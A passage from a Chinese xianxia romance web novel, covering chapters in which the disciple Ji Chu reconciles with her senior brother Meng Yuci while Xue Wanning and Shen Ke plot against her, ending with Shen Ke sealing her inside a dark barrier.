“没有就没有呗,你急什么?再者说了,孟师兄常年冷着个脸,生不生气没两样,你又怎么知道他没生气?” 纪楚:“……” 她的声音有点闷闷的: “行,你说的对,我确实什么都不知道……可是人也太复杂了吧,一会儿是这样,一会儿又是那样,我怎么才能分得清啊!” 她看起来不高兴极了,赵一言看她片刻,若有所思,然后他朝窗户外凑了凑,一副姐俩好的样子对她说: “别这么消极呀师妹,你只是一时分清楚而已。虽然眼睛会骗人,耳朵会骗人,但感觉不会骗人呀。” “你感觉到是什么,那就是什么,相信你的心。” 纪楚眨了眨眼睛,没有说话。 等她回过神来,再次抬头看向窗户时,原本趴在窗边的人已经不见了 赵一岩的声音隔着墙壁传出来,听着依然不怎么靠谱: “好好想想吧,小师妹,想清楚谁可信,谁不可信,千万别被坏人拐走了。” 纪楚:“……” 她盯着墙看了一会儿,小声说了句: “谢谢你啊赵师兄”。 里头人摆手: “走吧走吧。” 这边纪楚才刚走没一会儿,孟喻辞便过来了。 他比纪楚更没礼貌,一道剑气扫过窗户,里头的人便一声惊呼摔到了地上。 赵一岩爬起来,一脸无辜: “孟师兄,我什么也没干呀?” 孟喻辞神色冷淡: “她如何?” “她?” 赵一岩一愣,瞬间明白他问的是纪楚,于是道: “她日日来这山上喂兔子,看起来没什么事。不过今日薛晚凝过来同她说了些什么,我没听清。” 赵一岩说着,觑他神色,试着道: “孟师兄若是担心,何不直接去问纪师妹呢?” 孟喻辞没回应他的话,只问道: “纪楚第一次来找你,究竟是为了什么?? 赵一岩没想到他会问这个问题。 既然开口询问,必然是已经知道了什么,隐瞒也没有意义。 他于是老实道: “她来问我有没有见过金色眼睛。” 此话一出,孟喻辞垂眸,心道“果然”。 他一直觉得,纪楚从一开始见到他后的反应就不对劲。 她一直在害怕、犹豫、试探。 那时他不知道原因,只当她是在沈恪那里受了委屈,所以不敢信任他。 如今看来,只怕问题还是出在他身上。 她在问仙大会大会前就知道金色眼睛,兴许,早就同末神有过交集。 那日同纪楚分别之后,他就一直在思考,纪楚的空羽浮花究竟是什么时候出现的。 而她记忆里,那个令她满腔怨恨的孟喻辞,又究竟是什么情况。 他隐约有所猜测,却并无证据。 若是涉及末神,事情便更加复杂了。 现下纪楚对他并不信任,若一味逼迫追问,只会将人推远。 他不能再刺激她了。 孟喻辞心中思索着,面上不显,只“嗯”了一声,示意赵一岩继续说。 赵一岩于是继续说道: “她只是问我是否见到了金色眼睛,像是要确认金色眼睛的存在。我也问过她,但她矢口否认,说自己从未见过,只是听说过。不过一看就是假话……” 孟喻辞不语,回忆着当时的情况。 纪楚专程避开旁人,就是为了来找赵一岩打听金色眼睛。 她一定见过金色眼睛。 但会是什么时候呢? 自纪楚进入宗门,便一直被沈恪牢牢压着,根本没有几次下山的机会。 唯一的变数便是那日悬鹤峰顶,纪楚以琴砸开结界,而后一点点展露自己对神骨的天然克制能力。 他不说话,赵一岩也不敢发出声音打扰他。 半晌后,孟喻辞终于开口: “我知道了。” 赵一岩刚松一口气,就听见孟喻辞用冷冰冰的声音对他说: “纪楚她心思单纯,待人心无旁骛,你却不能举止轻浮,引她生出些不该有的心思来。” 赵一岩:“啊?” 孟喻辞用余光瞥了一眼他拍过纪楚肩膀的手。 赵一岩顿时一哆嗦,感觉刚刚仿佛有一把刀子砍过他的手臂。 虽然他实在没有什么旁的心思,但是在孟师兄的眼刀子威胁下,只能举手表忠心: “我再也不敢了,我以后一定和师弟师妹们保持距离,绝对连一根头发丝都不会碰到。 孟喻辞这才满意,收回视线。 他走后,赵一岩先是后知后觉的摸了下后背,发现自己被吓出了一身冷汗。 而后仔细琢磨了一下刚刚孟师兄的神情,又忍不住哈哈大笑起来。 真有意思,真是太有意思了! 千年铁树也会开花,万年寒冰也会融化。 只是看纪楚的模样,似乎孟师兄的情路并不那么顺畅啊。 他心里又平衡许多。 果然老天总是公平的,给了孟师兄惊艳绝伦的容貌,出类拔萃的天分,就要让他尝尝爱而不得的滋味。 赵一岩越想越觉得兴奋,感觉脑子里引他入魔的恶念都消退不少,全然被吃到大瓜、无意间参与大瓜的激动和兴奋挤到了边边角角—— 作者有话说:某人因为自己用了下三滥的手段勾引,所以对别人格外警惕。[狗头] 师兄:(冷漠)我就是这样勾引师妹的,我还能不知道你们吗?今天摸摸肩膀,明天说不定就想当道侣了!(指指点点) 赵一岩:……呵,男人。[狗头] 吃瓜可以让人变得阳光开朗这怎么不算一种医学奇迹呢?[狗头] 第79章 广玄峰。 沈恪冷冷看向面前的薛晚凝。 他的脸上不再是从容温和的笑,而代之的是一种从眼底蔓延出来的厌恶。 “你去找纪楚做什么?” 薛晚凝面带浅笑,从他身旁走过,并不搭理他的问题。 沈恪忍无可忍,一把伸手拽住她: “你处心积虑留在拂宇仙宗,到底想干什么?” “干什么?” 薛晚凝回头看向他: “你不是知道吗?我已入魔,自然要做魔该干的事。你既看不惯我,大可以去诲元仙尊那里告发我。” 说着,她故作讶异: “不会吧?拂宇仙宗的沈长老,仙门的沈仙君,你不会是要包庇我这个魔头吧?” 沈恪面带怒意: “你以为我不敢?” 薛晚凝轻嗤一声: “我怎么以为不重要?重要的是天下人怎么以为。” “当日神骨异变,你眼睁睁看着我落入魔渊之中,却转头就跑。我如今入魔,你以为——你就清清白白吗?” 直到今天,她都忘不了当日沈恪仓皇逃窜的背影。 真是可笑。 曾经以为矢志不渝的恋人,原来在危险面前,都逃不了一个“大难临头各自飞”的下场。 好在,天不亡她,神眷顾她,引她重返人间。 可沈恪这厮,竟因心虚畏惧作祟,以聚魂灯扣下她的灵魂,害她魂体分离,长久沉睡! 若非偶然一缕魂息逃窜,使她得以联系上薛家,只怕,她再难有复生之机! 而沈恪,就可以抱着他光风霁月、深情不悔的好名声,继续踩着她的尸骨在这世上作秀! 再次见到沈恪,她真是连半点旧情都留不下来。 面对薛晚凝的质问,沈恪自知不够磊落,却也不觉有错: “你陷入魔渊之中,无法脱身,难道要我同你陪葬吗?” “一旦你我均陷入其中,又有谁能将消息带回修真界?那魔渊岂非要残害更多无辜之人?” “你可真是心系苍生啊。” 薛晚凝讥诮一笑: “究竟是为了保护更多的人,还是为了你那颗自私自我、胆小怕死的心,你自己心里清楚!” 薛晚凝抬手,随意一推,将沈恪抓着她胳膊的手推了下去: “我倒是没什么,只不过……若是旁人知道光明磊落的沈仙君,也是个贪生怕死的卑鄙小人,你苦苦经营的好名声,可就全都没有了。” 沈恪沉下脸,面色有一瞬间的狰狞: “你当真以为我不敢杀你?” 薛晚凝忍不住笑起来,声若银铃,花枝乱颤: “你威胁我?” “你以为我会受你威胁?你还真是天真的让我想笑。” 她缓缓摇头,叹道: “不过想想也真是好笑,世人皆道你深情,可你三番两次试图对我动手,全无半点情深不寿的模样。莫不是你的深情……用在了纪楚身上?” 沈恪表情凝滞起来。 薛晚凝继续道: “她倒是个明眼人,早早看出你 不是什么好东西,宁可投奔孟喻辞那样冷心冷情的人,也不要留在你身边。” 沈恪握紧了拳头。 薛晚凝绕着他,缓步轻移,徐徐说道: “沈恪啊沈恪,你这样的人,永远试图掌控别人,把旁人都当成你树立美名的工具,自私,贪婪,又怎么配得到旁人的真心呢?” 她在他身旁站定,伸手抚上他的衣领,轻拍两下: “想必你也看到了,那纪楚才同孟喻辞相处多久啊,就已心意相通,眉来眼去,全然不把你这个引她入门的师父放在眼里。想来往日,他们也没少下你的面子。” 她指尖浅浅的魔气逸散出来,飘进沈恪的七窍。 沈恪的呼吸急促起来,想要打断她,可那幽柔的声音却持续不断传入他的耳朵,勾起他心里始终存在的恶念: “难道你就甘心吗?那是你选中的人,你从妖兽口中救下了她,你把她带进了修真界,她现在有的一切都是你给的。“ “你如今修为停滞,难有寸进,她又怎么能背叛你,抛弃你,转投到更为强大的男人怀抱中呢?” 她每说一句话,沈恪的表情就难看几分。 直到最后一句,他猛得出声: “你——” “我怎么知道?沈恪,你别忘了,是神救的我,神无所不知。” 看火已经烧的差不多了,薛晚凝满意地欣赏着他愤怒怨恨的神情,松手,转身。 沈恪却忽然抓住了她的手腕。 “你想做什么?” 他双目泛红,恶狠狠地质问她。 薛晚凝靠近他,在他耳畔吐气如兰: “我要杀了纪楚。” “你敢?!” 沈恪骤然暴怒。 “你拦不住我。” 薛晚凝轻笑,并不怕他: “神要她死,谁也保不了她。” “不过……” 薛晚凝美目流转,又道了句: “看在你我往日情分的份上,若是你当真舍不得,我倒是可以留她一命。” “什么条件?” 薛晚凝附在他耳边,声音柔婉绰约,说出的话却一字一句敲在他心口: “毁了她。断其臂膀,除其修为,让她孤立无援,此后再也拿不起剑。” 说着,她又轻抚他的脸颊: “你我已无可能,就让她代替我陪着你,仰望你,此生只能为你所控。” 她手中托着一个方方正正的盒子,递到沈恪面前: “剪掉羽翼,为世人所唾弃,只有你能保护她,只成为你一个人的槛花笼鹤,再适合她不过了。” “不是吗?” * “薛晚凝真这么跟你说的?” 许盈摩挲下巴:“太奇怪了……” “是吧,我也觉得。” 纪楚点头: “她为什么要跟我说这些呢?” 陈梧猜测道: “会不会是她想和沈长老分手?但沈长老不同意,所以她想找你帮忙?” “怎么可能啊?” 许盈白了他一眼: “若聚魂灯一事真的是沈长老授意,那薛晚凝和他的关系一定相当糟糕。绝对不是纪楚可以插手的。” “况且他们都是几百岁的人了,哪还会像小孩儿一样搞一些你爱我、我不爱你、几个人闹来闹去的游戏呀。” “成熟点。” 她劝陈梧: “从成熟的角度思考一下,这里面一定有大问题。” “这个我同意。” 蒋成旭道: “虽然没人规定几百岁的人不能幼稚,但薛晚凝和沈长老一看就不是那样的人。” 许盈暗自想着: 事情真是越来越有意思了,看来,果真还是不能放松对薛晚凝的监视。 然后她对纪楚说: “保险起见,纪楚,你最近还是离他们两个远一点吧。” 纪楚自是答应,她可一点都不想掺和进薛晚凝和沈恪的事。 现在她的关注点更多放在悬鹤峰顶的神骨上。 这一世许多事情都有所改变,但“薛羡尘抢夺神骨”一事,就如同悬在她心头的一根丝线,不知什么时候就会断裂,更不知会带来什么样的结果。 说起薛羡尘,她便心下发愁。 自上次问仙大会之后,他再没在她面前出现过。 而这次薛晚凝来到拂宇仙宗,他竟没有跟着过来。 纪楚不觉得他会放弃神骨,之所以一直没有出现,恐怕是在图谋更大的事情。 几天后,纪楚这些不好的预感到底还是成真了。 无极宗全宗入魔,屠杀周边村落,将所在之地并入魔族领域,奉魔王为尊,与修真界抗衡。 至于这位忽然出现的魔王,不出纪楚所料,应当就是消失已久的薛羡尘了。 纪楚很是意外。 因为按照她与钟离白的推测,无着尊者死后,没有人可以再为末神做事,这一系列事情本不该再发生。 但无极宗还是入魔了。 这只能说明,除却无着尊者,末神还有其他的神使,可以继续在下界为它发展信徒。 纪楚忍不住开始焦虑起来。 没了一个无着尊者,还会有另一个。 纵使重生,她也不能知晓一切内幕,阻止一切发生。 这让她有种片刻也不敢放松的恐慌感,每天闭上眼睛,眼前就是前世那一连串打的她措手不及的意外。 她害怕。 害怕自己一个没有想到,就会重蹈前世覆辙。 * 诲元仙尊召集一众长老商议对策。 纪楚作为掌门弟子,在正殿外随时等候传唤。 而她也终于在许多天后,再次看见师兄。 师兄一如既往的疏冷沉静,气度若雪,只是远远站着就足够让人惊艳。 虽然有过那场不愉快的对话,但师兄依然是她心目中最好看的人。 不过嘛,天边冷月,只可远观,不可亵玩。 她正在心里感慨时,师兄却忽然转向了她。 猝不及防间对上那双黑沉冷寂的眸子,纪楚想也不想,迅速低下头,开始认真研究地砖上的花纹。 这个云纹可真云啊…… 一道雪色的衣摆“飘”了过来,带起一阵清冷的风。 师兄在她身旁站定,雪色的衣袖自然垂落,不知有意还是无意,轻轻挨着她的袖口,扫过她的手背,带来冰凉丝滑的触感。 然后他微微垂下头,和她一起看地上的花纹。 纪楚坐立难安。 她感觉自己又回到了执律堂那天,在毫无准备的情况下见到了师兄,不知道该怎么办才好,只能假装哑巴,一边在心里不断祈祷师兄也不要说话。 但身边师兄的存在感格外强烈,他身上的清冷的气息也逐渐蔓延到她这里。 眼角余光全是那抹清冷的白,纪楚忍了又忍,实在坚持不住,抬起头看向师兄: “师兄,你也来了啊……” 说完她就恨不得锤自己一下。 这说的什么废话啊? 她作为掌门弟子在这里,师兄当然也会在这里啊! 仿佛听见身边传来一声叹息般的轻笑。 纪楚顿时觉得丢人,又立马把头转了回去,盯着地砖,发誓绝对不要再开口说话了。 身边的师兄也善解人意地安静下去,没有揪着她的“丢脸话题”不放。 过了一会儿,纪楚感觉自己没那么紧张了,于是忍不住偷偷转头,眯起一只眼睛,心道自己只是偷看一眼。 谁知这一看,便被正在盯着她瞧的师兄抓了个正着。 她顿时一个激灵,蹭的一下转回头去,留给孟喻辞一个欲盖弥彰的后脑勺。 孟喻辞瞧着她圆润的脑袋,又忍不住叹息,道: “纪楚,你真的打算这样,永远不同我说话了吗?” “我没有!” 纪楚转回头,随后又迅速扭头看向地面: “我没有不同师兄你说话,我只是……只是没什么想说的。” “好吧。” 孟喻辞无奈,又道: “可我有想说的。” 纪楚疑惑地看他一眼。 他侧头看向纪楚,长而精致的眼睛凝视她片刻,纤长的羽睫颤动几下, 墨玉似的双眸子闪过细碎的幽光。 然后他薄唇轻启,低声问道: “你最近,好好吃饭了吗?” 第80章 纪楚原本做好了应对一系列难以回答的问题的准备。 却没想到师兄只是问了这么一句。 “你最近,好好吃饭了吗?” 她有些不确定,没有立即回答,而是用怀疑探究的目光看着他。 师兄神色平静,双眸清冷,任由她打量。 纪楚有些不自在地收回目光,将“修士不用吃饭也不会饿死这有什么好问的”几个字憋回去,换作一句: “……吃了,我当然吃了。” “嗯。” 孟喻辞轻声应道,而后便不再多言,仿佛他最关心的只有这一件事。 纪楚:“……” 她感觉自己这些日子以来一直烦闷不安的心和见到师兄后尴尬无言的折磨,竟然因为师兄这么一句话、这么自然而又平静的态度,瞬间消失了。 见她直愣愣地盯着自己瞧,孟喻辞不禁莞尔。 他望向她,冲她极轻极缓的眨了下眼睛,长睫如蝶翼般忽闪,漆黑的双眸如迷人的漩涡一般,引着纪楚往里看去。 那里面只她一个人的身影。 纪楚忍不住张了张嘴,喊了句: “师兄……” 孟喻辞静静望着她,等她说下去。 但下一刻,纪楚又扭过头去。 她并不知道自己想说些什么,怎么说都不对劲。 说她没想和他吵架吗? 可吵都吵了,难道要道歉吗? 不要,她又没错,她好好的当她的师妹,努力装作一切都没发生,是师兄不守规则,破坏了这份和谐的…… 而且她一点也不擅长伪装,怎么都演不出若无其事的样子,师兄肯定一眼就能看出她在想什么…… 万一他继续追问前世的事怎么办? 不要不要,还是不要说话的好。 她于是闭了嘴,鼓着脸,继续看地板。 孟喻辞见她这样,知道她依然对自己有些芥蒂,心头不免浮上隐隐的失望。 但他到底没说什么。 只要纪楚不是彻底与他变成陌生人就好,他总会等到纪楚愿意告诉他真相的时候。 于是他收回视线,指尖一动,垂在身侧的袖口一晃,手上便多了个鼓鼓囊囊的储物袋。 纪楚被他手上的动作吸引过去,下一刻,自己的手便被师兄握在手中。 她一惊,还未做出反应,手心便一沉。 孟喻辞将储物袋放在她的手中,而后松开她的手腕。 他的指尖在她手腕内侧轻轻一划,冰凉轻盈,转瞬即逝。 纪楚还未反应过来,师兄已经收手,站定,对她道: “那时你说弄丢了垫子很心疼,我给你寻来了新的,还有一些旁的东西,你看看,有没有遗漏的?” 纪楚打开储物袋一看,里面除了之前见到的衣服零食灵符以外,还多了很多样式精巧的东西。 除此之外,还有一道气息极为特别的剑符。 这绝非普通的剑符。 纪楚只是用手指轻轻一碰,就感受到剑符上传来的凌厉剑气,险些将她的手指划伤。 宗门之中,还有谁的剑气能如此凶悍,哪怕被封在剑符之中,依然能透出这样凌厉的杀意? 纪楚诧异地看向师兄。 如果说上次出门,师兄是把一个屋子给她装在了身上;那这一次,师兄简直是恨不得把整个宗门都给她装在身上。 纪楚莫名生出一个念头:如果可以的话,师兄说不定想把少微剑和他自己也装进这个储物袋里…… 下一刻她又急忙摇头,将自己这个诡异的想法驱逐出脑海。 孟喻辞见状疑惑,下意识想抬手摸摸她的头。 但伸出的手尚未碰到她就停在半空。 他垂下眸子,又将手缓缓收回,握拳放于身侧。 而后看向纪楚,目光一如往日: “怎么了?” “没事,没事。” 纪楚急忙解释。 她看了一眼储物袋,又看了一眼师兄,喃喃道了句: “已经很全面了。” 然后她语气一顿,片刻后,又小声补充了一句: “谢谢师兄,我很喜欢。” “喜欢就好。” 孟喻辞听见她这句话,心里绷着的弦放松下来。 他静静看她片刻,在她觉得不自在的前一刻,忽然开口道: “无极宗入魔一事,想必你也已经听说了。” 听他说起正事,纪楚一个激灵,迅速把心理那些乱七八糟的念头放到了一旁,摆出一副认真商讨大事的态度: “我听说了,师兄。可是无着尊者不是已经死了吗?既没有神骨,他们又为何会入魔呢?” 孟喻辞道: “神骨终究只是个媒介。恰如你所言,仙魔之名困不住人心。只要末神仍在,这修真界就不会太平。” 见纪楚面色凝重,他又忍不住放缓了语气,轻声安抚道: “不必太过担心,有我在。” 正说着,紧闭的正殿大门忽然打开,几个长老相携而出,皆眉头紧锁。 沈恪走在最后,看了一眼和孟喻辞站在一起的纪楚,眉目间闪过几分阴郁。 但很快,他就又恢复了那副从容温和的姿态,冲孟喻辞道: “当日忙碌,无暇与孟师侄多言。纪楚在你身边,看着修为倒是精进不少。” 说着他转向纪楚: “看来当初我让你学琴,实在是埋没了你这剑修的好苗子。 纪楚想要说话,被孟喻辞不着痕迹地挡在了身后。 他冲沈恪略一颔首,道: “既是好苗子,便不会被轻易埋没。” 沈恪冷笑一声,不以为然道: “那可未必。若非孟师侄在此,纪楚哪里会有今日呢?如今看来,我倒是应当谢谢孟师侄,倾囊以授,竟将纪楚教的这般好。” “想来此番无极宗之祸,孟师侄也定会料理地十分妥帖。” 说完这话,他便拂袖离开。 “他什么意思?” 纪楚从孟喻辞身后钻出来,仰脸看他: “师兄,你要去处理无极宗吗?” 孟喻辞轻轻摇了摇头: “尚且不知。不过看他这么笃定,应当是师尊准许了。” 纪楚的脸顿时皱成一团: “可是……可是……” 孟喻辞低头,看她如此忧愁的模样,到底是忍不住,伸手轻轻在她头顶抚了一下: “年纪轻轻,怎么愁成这样?” 说着,他故意眨了下眼睛,道: “难道你连师兄的修为都不相信?” “我没有不相信。” 纪楚知道他是在借机说“信不信”的问题,于是鼓着脸解释说: “我只是觉得幕后黑手尚未现身,敌暗我明,师兄这时候离开,万一他们来拂宇仙宗作乱怎么办?” 孟喻辞看她一眼,神色稍微严肃了些,低声道: “倘若真有此事,你须答应我,不要擅自行动。万事以你的安危为主。” 纪楚原本只是联想到前世薛羡尘盗取神骨一事,未雨绸缪这才这么说。 但见师兄如此神情,她心口猛的一跳,一瞬间仿佛想到了什么。 但还不等她细想,师兄又拿出一只纸鹤递给她: “传音玉容易损坏。此物上有我的一缕神识,你若愿意,便随身带着。” 见纪楚接过纸鹤,他眼里的寒意才消散几分,忍不住又伸手摸了摸她的头: “好好吃饭,不要瞎想。一切,等我回来再说。” 剩下半句话他没有说出口。 不止是无极宗,神骨,末神,还有你所担心的事情,等我回来,一定给你一个答复。 纪楚低头看向手里的纸鹤,似乎要比别的传讯符漂亮一些。 她忍不住伸手戳了一下纸鹤的头。 那纸鹤便如同有灵性一般,眨着黑豆子一般的小眼睛蹭蹭她的手指,然后钻进了她袖口里。 纪楚抬头看向孟喻辞,没头没尾说了句: “师兄,你一定要小心薛羡尘。” 她没有试图解释原因,只道: “他是魔……而且,他很有可能,是冲着神骨来的!” 孟喻辞的眼神有一瞬间的莫测,但很快压下。 他看了她一眼,没有多问,只是轻声道: “我知道了。这些你都不要操心,只需要好好吃饭,好好修炼,然后……” 他又重复了一遍: “等我回来。” * 很快主峰便传出消息。 掌门果然点了孟喻辞并几个化境期弟子,前往无极宗除魔。 纪楚觉得,这件事一定和沈恪离不开关系。 他故意说那么一通话,然后师兄就因为任务离宗了。 而师兄最后说的话,又让她心里生出一股诡异的感觉。 不知怎的,纪楚觉得莫名有点心慌。 师兄才刚一离开宗门,她就觉得拂宇仙宗变得格外空空荡荡,哪里都见不到几个人。 虽然师兄说了让她不要操心,她还是跑到悬鹤峰底下转了几圈。 这里一切如常,平时都不会有几个人来,这时候人就更少了。 然而师兄话语中透露的深意,总让她觉得,这里看起来越是一切如常,一切就显得越发不正常。 师兄和师尊,是不是知道些什么? 前世的悬鹤峰,到底发生了什么事? 许盈又为什么会来到悬鹤峰,撞上薛羡尘呢? 他是怎么闯的宗门,许盈又是怎么比其他人都更快知道悬鹤峰有异变的? 纪楚打听不到消息,只能将保护许盈作为第一重要的事。 她于是找到许盈几人,告诉他们近期不要单独行动,最好也不要去什么禁地、没有人的空旷小路、或者是危险的地方乱逛。 许盈对她莫名其妙的告诫表示不能理解: “乱逛?我哪有时间乱逛啊?最近忽然特别忙,每天都有任务,连吃饭的时间都没了。” “至于危险的地方,那我就更不会去了。反倒是你,纪楚,你才是最容易忽然跑到危险中的人。” 蒋成旭和陈梧也忍不住笑着说: “是啊纪楚,这几次,哪回不是你容易陷入危险啊。” 纪楚无奈,又不能把“前世你们仨全被害死了”的事情说的太直白,只能把师兄告诫她的话又重复了一遍: “总之,如果遇到紧急情况的话,不要擅自行动,一定要告诉我!万事以你、还有你们的安危为主。千万千万千万不要冒险!” 见她如此严肃,许盈几人自是应下,保证传音玉不离手,但凡有一点风吹草动,就立马集合商量对策,绝对不会单独行动。 纪楚却仍然没能放下心来。 前世她被人引开,下山离宗,回来时许盈就已经出了事。 这辈子她说什么也不能离开宗门,更不能离开许盈太远了。 推掉明务堂指派的任务后,她整日想法设法跟在许盈身边,一边关注着悬鹤峰的动静。 许盈对她忽然变得黏人一事接受良好,只有蒋成旭逐渐看她有些不顺眼,但到底还是碍于朋友情谊忍了下来。 纪楚拉着陈梧,顶着蒋成旭越来越嫌弃的目光,硬着头皮继续插在两人中间。 如此坚持了大半个月,悬鹤峰始终安安静静。 中途听闻师兄势如破竹,轻易便将无极宗入魔之人除了个七七八八。 其余魔族均被堵在修真界边缘,被少微剑震慑地不敢擅动,连魔王都被师兄一剑刺伤,仓皇逃离。 纪楚这才感觉安心不少。 若是薛羡尘受伤,应该就没机会来悬鹤峰抢神骨了吧? 今日她无法继续跟着许盈,因为连续多次拒绝了明务堂的任务,又没有合理的理由,李京墨师兄亲自发来警告,让她在整理秘宝阁和下山捉妖之间选一样。 无法再推辞,纪楚自然选择整理秘宝阁。 许盈对此表示同情,她和蒋成旭也被派下山处理一个小任务,好在距离不远,应该一两天就能回来。 于是她摸摸纪楚的脸,说自己和蒋成旭会尽快回来,明天晚上等她和陈梧一起吃火锅。 纪楚在秘宝阁里忙碌了两天,出来时已是傍晚。 她从储物袋里摸出传音玉,本想告诉许盈一声,但余光不经意间瞥见储物袋里的其他东西,还有那张剑符,她的动作又不由得一顿。 她忽然意识到,自己好像很久没见到师兄了…… …… 她竟然开始有点想师兄了…… 重生以后,她的生活里处处都是师兄的影子。 有师兄陪她练剑,有师兄给她饭,遇到危险的时候,师兄总会出现在她身边。 而不知道从什么时候开始,她也逐渐习惯了依赖师兄的感觉。 …… 要是没有前世那一剑就好了…… 纪楚心里莫名浮现这一句话。 最近她也冷静了很多,仔细想想,其实那天她没想和师兄吵架,但是话赶话说到那里,有些情绪就控制不住了…… 虽然之后师兄看起来没有特别生气,也没再逼她解释清楚,但她心里总会想起师兄说的“她不信他”,还有他那时受伤疲惫的神情。 …… 她真的一直不信师兄吗? 纪楚不知道。 可是她更不知道该怎么办,她害怕,不敢面对,更不敢尝试,甚至变得有点不像自己了…… 纪楚捧着传音玉,一边无意识用手指拨拉着储物袋里的盘盘果,一边纠结着: 如果主动联系师兄的话,她能说点什么,才会显得自然而不突兀,并且巧妙地解释一下那天最后的话呢? 师兄会不会多想啊?会不会觉得她前言不搭后语,是在狡辩啊? 啊啊啊啊…… 纪楚烦躁地抓了抓自己头发。 说不定师兄很忙,没空玩传音玉,那自己是不是更不该因为这点小事打扰师兄啊? …… 她正纠结着,手指不小心在传音玉上一划,师兄的声音就猝不及防传了出来: “纪楚?” 纪楚吓得一个激灵,险些将传音玉扔出去。 但她最后还是及时拿稳,清了清嗓子,故作镇静道: “咳咳,师兄,是我。” 孟喻辞的声音一如既往的沉静,听起来有种让人安心的魔力: “我知道是你。” 纪楚:“……” 她感觉自己耳朵热热的,忍不住揉了揉脸,决定三十六计,走为上计: “师兄你有什么要说的吗?没有的话,我就,我就先去吃饭了……” “纪楚。” 师兄又叫了一声她的名字。 纪楚于是停止逃跑,安安静静站在原地,等他继续说下去。 然而孟喻辞沉默了一会儿,却只是说了句: “我很快回去。” 纪楚的心一下子平静下来。 她想了想,忽然开口说: “最近宗门里特别无聊,因为无极宗入魔,听说人界很不太平,明务堂派了好多弟子下山捉妖除魔。我不想出去,他们就把我赶去打扫秘宝阁。” 孟喻辞轻声回道: “嗯。” 纪楚觉得心里高兴了很多,她继续说: “秘宝阁里的法器总跳起来打人,特别难整理。之前许盈他们去了一次,被打的鼻青脸肿,所以我今天专程带了防身法器,全身而退!” 传音玉对面似是轻笑了一下。 纪楚感觉耳朵更烫了。 然后师兄说: “真厉害,不愧是我师妹。” 纪楚感觉心里有个小人因为这句夸奖开始旋转着跳舞欢呼。 但是她努力把兴奋感压下去,镇定道: “师兄,你早点回来,我想……” 她犹豫了一下,继续说道: “我有话想跟你说。” 传音玉对面沉默几息,然后她听见师兄说: “好,你等我。” 传音玉灭了下去,纪楚攥着传音玉原地跳了一下,刚准备大叫,就感觉自己的头顶似乎被什么东西砸了一下。 仿佛是老天也看不下去她忽然而来的发疯,豆大的雨滴瞬间噼里啪啦砸了下来。 纪楚一愣,想到许盈还在等 她回去,于是急忙小跑着往回赶。 只是等她回到院子,却发现这里空空荡荡,既没有许盈几人的影子,也没有说好的火锅。 乌云汇聚,雷鸣忽起,一声惊雷打得她心里一颤。 纪楚忽然觉得不妙。 她顿时想到了悬鹤峰,转身便要过去。 就在此时,传音玉却突然闪了一下。 先是安静了片刻,而后断断续续传出来一句话: “纪楚……薛晚凝……不要去……快走——” 声音忽然被掐断。 陈梧的声音。 纪楚捏紧传音玉,二话不说,径直向着电闪雷鸣中的悬鹤峰而去。 大雨铺天盖地砸下,将拂宇仙宗笼罩在阴暗迷蒙的雨雾中。 而乌云翻滚,亦纷纷向着悬鹤峰顶汇聚。 80-90 第81章 悬鹤峰近在眼前。 纪楚拿出传音玉,试图联系许盈。 雨下的越来越大,敲在地上的雨滴低仿佛密集的鼓点,将周围环境中的一切声音都掩盖下去。 传音玉亮起,传出来的却是钟离白的声音: “纪楚?你终于来找我了……” 她这才想起许盈将自己的传音玉给了钟离白,她找错了人。 只是还不等她重新输入灵力,面前就出现了一道身影。 沈恪见纪楚手里的传音玉仍亮着,温和一笑,挥袖在两人附近罩了一层隔音的结界,而后问道: “你在和谁联系?” 这句话的语气实在太过寻常,仿佛只是一个前辈在询问晚辈。 但此刻,雨声密集不停,夜幕将沈恪的脸照的惨白似鬼,他脸上温和的笑容也扭曲起来。 薛晚凝有问题? 那沈恪呢? 纪楚将传音玉扣下,一边暗中观察四周,一边警惕道: “不关沈长老的事,我的朋友还在找我,我就先走了。” 沈恪微微一笑,挡住她的去路: “是吗?可我看你的方向,似乎是要去悬鹤峰。” 说着,他上前一步: “悬鹤峰是禁地,说起来,也是自你第一次闯悬鹤峰砸琴开始,就彻底变得不像以前那个乖巧听话你了。” “……” 纪楚心知来者不善,果断转身就要离开。 身后灵符来的更快,瞬间将她四面八方围住。 沈恪指尖捏着一道灵符: “纪楚,你若是听话,就乖乖随我回去。” 纪楚转身看向沈恪,也不必再伪装什么尊敬师长的模样了,“唰”地拔出了寻真剑: “你想干什么?” “只是让你随我回广玄峰练琴罢了。” 沈恪的微笑在纪楚看来诡异至极: “纪楚,你背叛我,跟着孟喻辞去主峰,可是忘了,当初是我从妖兽口中救你性命,是我引你入仙门。” “如今你又怎能弃琴道于不顾?转修剑道?” “你有病!” 纪楚不欲与他多说,直接出剑。 她自知自己修为灵力均不如沈恪,要想逃生,就得足够快,足够出其不意。 这一剑确实颇有成效,两张灵符被她打落在地,侧面开出一道口子。 纪楚急着救人,并不恋战,挥剑朝结界砍去。 “敬酒不吃吃罚酒。” 沈恪沉下脸: “今日,你哪儿也别想去!” 他话音落,袖口挥出一道灵符,结界顿时产生一股冲击力,将她逼退几步。 纪楚回头看向沈恪,心道此人恐怕知道悬鹤峰会出事,所以才会在这里拦着她。 陈梧的话是什么意思,他们是不是已经和薛羡尘撞上了? 许盈一定出事了! 想到这里,她手腕翻转,剑势如虹,径直劈开雨幕,毫不犹豫切向沈恪。 这一招还是学师兄的,长剑出鞘,便是不死不归,绝无退路。 沈恪仓皇躲开,衣袖被削去半幅。 他竟然从纪楚这一剑中看出了孟喻辞的影子! 纪楚回身,下一剑瞬间挥出。 沈恪脸上再无温和从容的笑意,而是成了一种厌恶和憎恨,看着纪楚的表情近乎疯魔: “你怎能如此像旁人?!” “罢了。” 他抬手,手上捧着个乌黑的盒子。 指尖在盒子上面一点,那方形的盒子便消失在纪楚眼前。 下一刻,他手上符纸燃尽,整个人瞬间出现在纪楚身后。 而纪楚四周的地面则开始松动翻涌,四道坚硬如铁的屏障忽而升起,以极快的速度呈包裹之势,将纪楚困于其中。 “既然你已经变成了他的样子,我也只好亲自动手,把这些我讨厌的……彻底抹除。” 纪楚长剑撞上屏障,巨大的冲击力悉数被反了回来,她手腕生疼。 下一刻,已经彻底被包裹在这乌黑的屏障中间。 “你就在这槛花笼鹤中……好好反省吧。” 只头上留有一丝缝隙,沈恪的声音从头顶传来: “别怪我心狠,纪楚,我是为了你好。” 下一刻,缝隙彻底闭合,最后一点亮光也完全消失。 纪楚的眼前只剩一片黑暗。 周围的雨滴声音气息被隔绝在外。 槛花笼鹤…… 